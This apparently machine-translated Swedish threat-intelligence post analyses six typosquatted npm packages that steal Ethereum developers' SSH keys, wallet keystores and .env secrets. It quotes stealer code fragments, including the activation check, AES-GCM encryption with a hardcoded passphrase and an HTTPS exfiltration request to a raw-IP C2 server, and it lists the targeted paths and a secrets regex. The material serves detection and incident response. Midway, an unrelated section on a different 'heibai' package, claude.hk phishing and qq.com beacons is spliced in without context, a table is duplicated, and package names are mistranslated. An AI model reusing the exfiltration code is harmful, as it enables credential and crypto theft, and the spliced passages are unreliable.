EVMDeFi npm Typosquatting-attack stjäl utvecklarnycklar

EVM/DeFi npm Typosquatting-attack stjäl utvecklarnycklar

TL; DR

Den 6 maj 2026, en enda npm-utgivare, namikazesarada010206, publicerade sex skadliga paket riktade mot utvecklarnas ekosystem Ethereum, Solidity och DeFi.

Paketen, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsoch web3-utils-core, använde rimliga namn utformade för att se ut som hjälpbibliotek för populära Web3-verktyg.

Alla sex paketen innehöll samma telemetry.js fil. Filen var byte-identisk i hela klustret, med SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Skadlig programvara körs inte vid installationstillfället. Det finns ingen preinstall or postinstall krok. Istället aktiveras den när paketet importeras via require().

Den detaljen spelar roll.

Implantatet väntar tills en utvecklare faktiskt använder paketet. Sedan kontrollerar det om arbetsstationen ser ut som en riktig Ethereum/Solidity-utvecklingsmiljö. Det letar efter Alchemy- eller Infura-nycklar, privata nycklar, mnemonics, deployer-nycklar eller en lokal Foundry-katalog.

Om värden matchar samlar stjälaren in privata SSH-nycklar, Foundry / Geth / Brownie-plånboksnyckellager, .env* filer och känsliga miljövariabler. Den krypterar paketet med AES-256-GCM med hjälp av en hårdkodad lösenfras och exfiltrerar det till en rå IPv4 C2-slutpunkt med TLS-verifiering inaktiverad.

Xygenis system för tidig varning om skadlig kod (MEW) bekräftade att alla sex paketen var skadliga. Rapportpaketet för borttagning av npm-registret väntar.

Klustret: Sex paket, en utgivare

Utgivarens konto namikazesarada010206 var länkad till den overifierade Gmail-adressen namikazesarada010206@gmail.com.

Kampanjen publicerades under en enda dag den 6 maj 2026. Alla sex paket versionerades som 1.0.0, hade noll runtime-beroenden och levererade endast tre filer:

package.json index.js telemetry.js

De deklarerade också samma källkodsförråd:

https://github.com/harunosakura030303-maker/evmchain-config

De tre första paketen upptäcktes av MEW-skannrar vid första publiceringen. De återstående tre tvångsflaggades efter analytikergranskning av utgivarens npm-profil. När samma byte-identiska telemetry.js bekräftades i hela klustret, stängdes de som skadliga på grund av konsekvens.

Paket Version npm Publicerad MEW-biljett Slutsats
viem-kärna 1.0.0 2026-05-06 01:38:44Z #51049 Skadlig
viem-utils-core 1.0.0 2026-05-06 #51050 Skadlig
hardhat-core-utils 1.0.0 2026-05-06 #51051 Skadlig
evm-utils 1.0.0 2026-05-06 #51069 Illvillig, genom konsekvens
gjuteri-utils 1.0.0 2026-05-06 #51071 Illvillig, genom konsekvens
web3-utils-core 1.0.0 2026-05-06 #51070 Illvillig, genom konsekvens

Namnstrategin är enkel men effektiv.

Dessa paket imiterar inte exakta uppströmsnamn. Istället använder de rimliga "verktygs"-suffix som -core, -utilsoch -utils-coreDet gör att de ser ut som kompletterande bibliotek som en utvecklare kan förvänta sig att se nära Web3-verktyg.

Skadligt paket Legitimt mål
viem-kärna viem, en populär Ethereum TypeScript-klient
viem-utils-core viem
hardhat-core-utils hardhat, en vanlig Solidity-utvecklingsmiljö
evm-utils Generiskt EVM-verktygsnamnområde
gjuteri-utils gjuteri, en Solidity-verktygskedja
web3-utils-core web3-utils, Web3.js-hjälpare

Detta är mönstret för ”kompletterande paket”: inte ”Jag är det riktiga paketet”, utan ”Jag ser ut som en rimlig hjälpare runt det riktiga paketet”.

För DeFi-utvecklare som rör sig snabbt är det tillräckligt för att skapa risk.

Vad händer när paketet importeras

Attackkedjan är liten, avsiktlig och fokuserad på kryptoutvecklingsmiljöer.

Det finns ingen installationskrok. Istället innehåller varje paket en index.js som exporterar stub-funktionalitet och sedan laddar den skadliga telemetrimodulen.

require('./telemetry').init();

Det betyder att skadlig programvara aktiveras vid första importen.

Det är operativt användbart för angriparen. Många skannrar och sandlådor fokuserar på beteendet vid installation. Detta paket väntar tills det faktiskt används av en utvecklare, ett byggskript, en testsvit eller en runtime-sökväg.

Aktiveringsgrind: Aktiveras endast på riktiga Web3-utvecklararbetsstationer

Den viktigaste delen av implantatet är aktiveringsgrinden.

Skadlig programvara söker efter miljövariabler som vanligtvis finns på Ethereum/Solidity-utvecklarmaskiner:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Den kontrollerar också om Foundry verkar vara installerat:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Om ingetdera villkoret är sant returnerar funktionen och gör ingenting.

Det gör paketet tystare i generiska analysmiljöer. En sandlåda utan Foundry, Alchemy-nycklar, Infura-nycklar, privata nycklar eller mnemonik kan få en import som ser harmlös ut.

På en matchande värd väntar skadlig programvara 60 till 90 sekunder innan den samlas in:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Fördröjningen minskar den uppenbara korrelationen mellan import och exfiltrering. .unref() call låter också värdprocessen avslutas normalt om paketet importerades i ett kortlivat skript.

Detta är inte ett bullrigt "smash-and-grab"-beteende. Det är en riktad stöldfunktion som är utformad för att undvika att köras om inte utvecklarmiljön är värd att stjäla från.

Vad stjälaren samlar in

När aktiveringsgaten har passerat samlas skadlig kod in från källor som är viktigast för Web3-utveckling: privata nycklar, plånboksnyckellager, distributionsuppgifter, molnhemligheter, npm-tokens och lokal projektkonfiguration.

Källa Vad som samlas in
process.env Alla variabler som matchar /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Filer som innehåller PRIVATE KEY eller BEGIN OPENSSH, inklusive hela filinnehållet
~/.foundry/nyckelbutiker/* Foundry plånboksnyckelfiler
~/.ethereum/nyckelbutik/* Geth-plånboksnyckelfiler
~/.brownie/konton/* Brownie plånbok nyckelfiler
${cwd}/.env Fullständigt filinnehåll
${cwd}/.env.local Fullständigt filinnehåll
${cwd}/.env.production Fullständigt filinnehåll
${cwd}/.env.development Fullständigt filinnehåll
os.hostname() Värdmetadata
krypto.randomUUID() Offer-/sessionsidentifierare
Date.now() Tidsstämpel för samling
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

ATTA-tokens är:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Vi har inte kunnat bekräfta om telemetrin var operatörens egen analys eller en separat intäktsgenererad kanal. ATTA-tokens är desamma i båda de exempel vi undersökte.

Kluster B: heibai

claude.hk OAuth-nätfiske + ANTHROPIC_BASE_URL-kapning

Urvalet från den 1 april är den grövre, tidigare delen av kampanjen.

heibai:2.1.88-claude.hk-4 publicerades av wuguoqiangvip28, ett konto skapat 7 juni 2025. Paketet versionsförvandlade sig uttryckligen mot den legitima 2.1.88 Antropisk frigörelse.

Den bryr sig inte om CA-cert MITM. Istället ljuger den för användaren om OAuth-slutpunkten.

De skadliga tilläggen utöver den läckta Claude Code-källkoden inkluderar:

Källa Vad som samlas in
process.env Alla variabler som matchar /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Filer som innehåller PRIVATE KEY eller BEGIN OPENSSH, inklusive hela filinnehållet
~/.foundry/nyckelbutiker/* Foundry plånboksnyckelfiler
~/.ethereum/nyckelbutik/* Geth-plånboksnyckelfiler
~/.brownie/konton/* Brownie plånbok nyckelfiler
${cwd}/.env Fullständigt filinnehåll
${cwd}/.env.local Fullständigt filinnehåll
${cwd}/.env.production Fullständigt filinnehåll
${cwd}/.env.development Fullständigt filinnehåll
os.hostname() Värdmetadata
krypto.randomUUID() Offer-/sessionsidentifierare
Date.now() Tidsstämpel för samling

Mållistan är mycket specifik. Detta är inte generisk webbläsarstöld eller bred skrapning av autentiseringsuppgifter. Den riktar sig till utvecklare som bygger, testar, driftsätter eller driver Ethereum-applikationer.

Inkluderingen av Foundry-, Geth- och Brownie-nyckellager är särskilt viktigt. Dessa filer kan representera direkt åtkomst till plånböcker eller distributionsidentiteter. Om angriparen kan para ihop dem med lösenord, mnemonik eller miljöhemligheter kan de eventuellt flytta pengar, utge sig för att vara distributionsleverantörer eller kompromettera smarta kontraktsoperationer.

Kryptering före exfiltrering

Skadlig programvara krypterar insamlad data innan den skickas ut.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Det hårdkodade lösenfraset är:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Den slutliga nyttolasten är inslagen som JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Kryptering gör inte skadlig programvara mer avancerad i sig själv. Däremot försvårar den nätverksinspektionen. En försvarare som övervakar utgående kod skulle se en JSON-nyttolast, men inte de stulna nycklarna, plånboksfilerna eller .env innehåll utan den hårdkodade lösenfrasen och dekrypteringslogiken.

Exfiltrering till en rå IPv4 C2

Exfiltreringsvägen är hårdkodad:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Skadlig programvara skickar data till:

https://76.13.37.80:8443/api/v1/telemetry

Två detaljer sticker ut.

För det första är C2 en rå IPv4-adress snarare än en domän. Det eliminerar behovet av domänregistrering och undviker vissa domänbaserade upptäckter.

För det andra inaktiveras TLS-verifiering med:

rejectUnauthorized: false

Det gör att skadlig programvara kan acceptera vilket certifikat som helst, inklusive självsignerade certifikat. Med andra ord får angriparen krypterad transport utan att behöva ett giltigt offentligt certifikat.

Det finns ingen logik för återförsök och ingen reservvärd. Fel slukas tyst. Detta håller paketet tyst om C2 är offline eller oåtkomlig.

Varför denna kampanj är viktig

De flesta skadliga npm-paket riktade mot utvecklare jagar breda autentiseringsuppgifter: npm-tokens, AWS-nycklar, GitHub-tokens eller .npmrc filer.

Den här kampanjen begränsar målet.

Den letar efter tecken på att maskinen tillhör en Ethereum- eller Solidity-utvecklare. Sedan hämtar den exakt de tillgångar som är viktiga i den miljön: plånboksnyckellager, privata nycklar, mnemonik, distributionsnycklar, .env filer och SSH-nycklar.

Det gör kampanjen farligare för Web3-team än en generisk npm-stjälare.

En lyckad infektion kan avslöja:

  • Distributionsplånböcker
  • Smarta kontraktsadministratörsnycklar
  • RPC-leverantörsnycklar
  • Inloggningsuppgifter för molndistribution
  • npm-publiceringstokens
  • SSH-åtkomst till utvecklare eller bygginfrastruktur
  • Projekthemligheter lagrade i .env filer
  • Plånboksnyckelförvaring för Foundry, Geth eller Brownie

Paketnamnen visar också tydlig social ingenjörskonst. De riktar sig mot Web3-utvecklarekosystemet genom välbekanta verktygsnamn: viem, hardhat, foundry, evmoch web3.

Aktören behöver inte kompromissa med de verkliga projekten. De behöver bara en utvecklare som installerar vad som ser ut som ett rimligt kompletterande paket.

Indikatorer för kompromiss och upptäckt

Paket och utgivare
Fält Värderar
npm-utgivare namikazesarada010206
Utgivarens e-postadress namikazesarada010206@gmail.com
e-post verifierad Nej
SCM verifierade Nej
Ryktespoäng 1.0
Paket viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core
versioner Alla 1.0.0
Källförråd https://github.com/harunosakura030303-maker/evmchain-config
Bekräftat skadlig Alla sex paketen
nätverks
Typ Värderar
C2-slutpunkt https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
C2-porten 8443/tcp
TLS-beteende avvisaObehörig: falskt
nyttolastschema {"v":2,"iv": "d": "t": }
Filer och hash
Typ Värderar
telemetri.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Paketlayout paket.json, index.js, telemetri.js
Filantal 3
Ungefärlig totalstorlek 3.4 KB

Aktiveringssignaler

Skadlig programvara söker efter dessa miljövariabler:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Den kontrollerar även:

~/.foundry/

Riktade värdvägar

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Samlingsregex

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Detektionsanteckningar

Flera regler fångar upp den här kampanjen utan att det krävs en fullständig beteendeanalys.

Skanna först låsfiler efter de sex skadliga paketnamnen:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Vilken match som helst i package-lock.json, yarn.lock, pnpm-lock.yaml, eller node_modules Historien bör behandlas som en allvarlig händelse.

För det andra, övervaka Node.js-processer som läser sökvägar till plånboksnyckellager:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Detta är sällan ett legitimt beteende för ett paket som importerats som ett hjälpberoende. Det är särskilt misstänkt när det följs av utgående nätverksaktivitet.

För det tredje, blockera eller varna för HTTPS-anslutningar till:

76.13.37.80:8443

Särskilt när sökvägen för förfrågan är:

/api/v1/telemetry

För det fjärde, leta efter npm-paket som kombinerar dessa egenskaper:

  • Ny eller lågt ansedd utgivare
  • Overifierat Gmail-konto
  • Web3-angränsande paketnamn
  • Ingen meningsfull arkivhistorik
  • Liten paketlayout
  • index.js som laddar en telemetri- eller hjälpfil
  • Inga runtime-beroenden
  • Samling av känsliga miljövariabler
  • Åtkomst till plånboksnyckelförvaring

Det här mönstret är mer användbart än en enda IOC eftersom nästa paket kan ändra IP-adressen men behålla samma målinriktningslogik.

Checklista för kompromisssvar

Om en utvecklare använde ett av de sex paketen och deras miljö matchade aktiveringsgaten, ska arbetsstationen behandlas som komprometterad.

Det inkluderar maskiner med Foundry installerat, Alchemy- eller Infura-nycklar i miljön, privata nycklar, mnemonics eller distributionsnycklar.

Rekommenderat svar:

  • Koppla bort värden från nätverket.
  • Bevara node_modules, låsfiler, skalhistorik och relevanta loggar för kriminalteknik.
  • Rotera varje SSH-tangentpar under ~/.ssh/.
  • Rotera plånboksnycklar för varje nyckellager under ~/.foundry, ~/.ethereumoch ~/.brownie.
  • Flytta pengar till nya plånböcker.
  • Rotera varje hemlighet som lagras i .env* filer i arkiv som utvecklaren arbetade i.
  • Rotera miljöhemligheter som matchar samlingens regex, inklusive AWS-nycklar, npm-tokens, distributionstokens, API-nycklar, privata nycklar, seeds och mnemonics.
  • Granska moln-, npm-, GitHub-, RPC-leverantörs- och blockkedjeaktivitet sedan paketet först installerades.
  • Avbilda arbetsstationen på nytt innan den återanvänds.

Vad försvarare bör ta med sig

Den här kampanjen visar hur npm typosquatting utvecklas kring värdefulla utvecklarekosystem.

Skådespelaren behövde inte uthållighet. De behövde inte förvirring. De behövde inte ens exekvering under installationen.

Istället förlitade de sig på tre saker:

  • Troliga Web3-paketnamn
  • Aktivering endast på riktiga kryptoutvecklingsmaskiner
  • Direkt stöld av filer och hemligheter som är viktigast för Ethereum-utvecklare

Det gör kampanjen lätt att missa i bred skanning och farlig när den landar i rätt miljö.

För Web3-team är lärdomen tydlig: behandla beroendenamn som en del av er hotmodell. Ett paket som ser ut som en ofarlig hjälpare kan fortfarande bli den kortaste vägen till en plånbok som komprometteras.

Rapporterat till npm-registret. Vi kommer att uppdatera det här inlägget när utgivarkontot och paketen har tagits bort.

sca-tools-programvara-verktyg-för-kompositionsanalys
Prioritera, åtgärda och säkra dina programvarurisker
Skaffa ditt gratiskonto.
Inga kreditkort krävs.

Säkra din programvaruutveckling och leverans

med Xygeni-produktsviten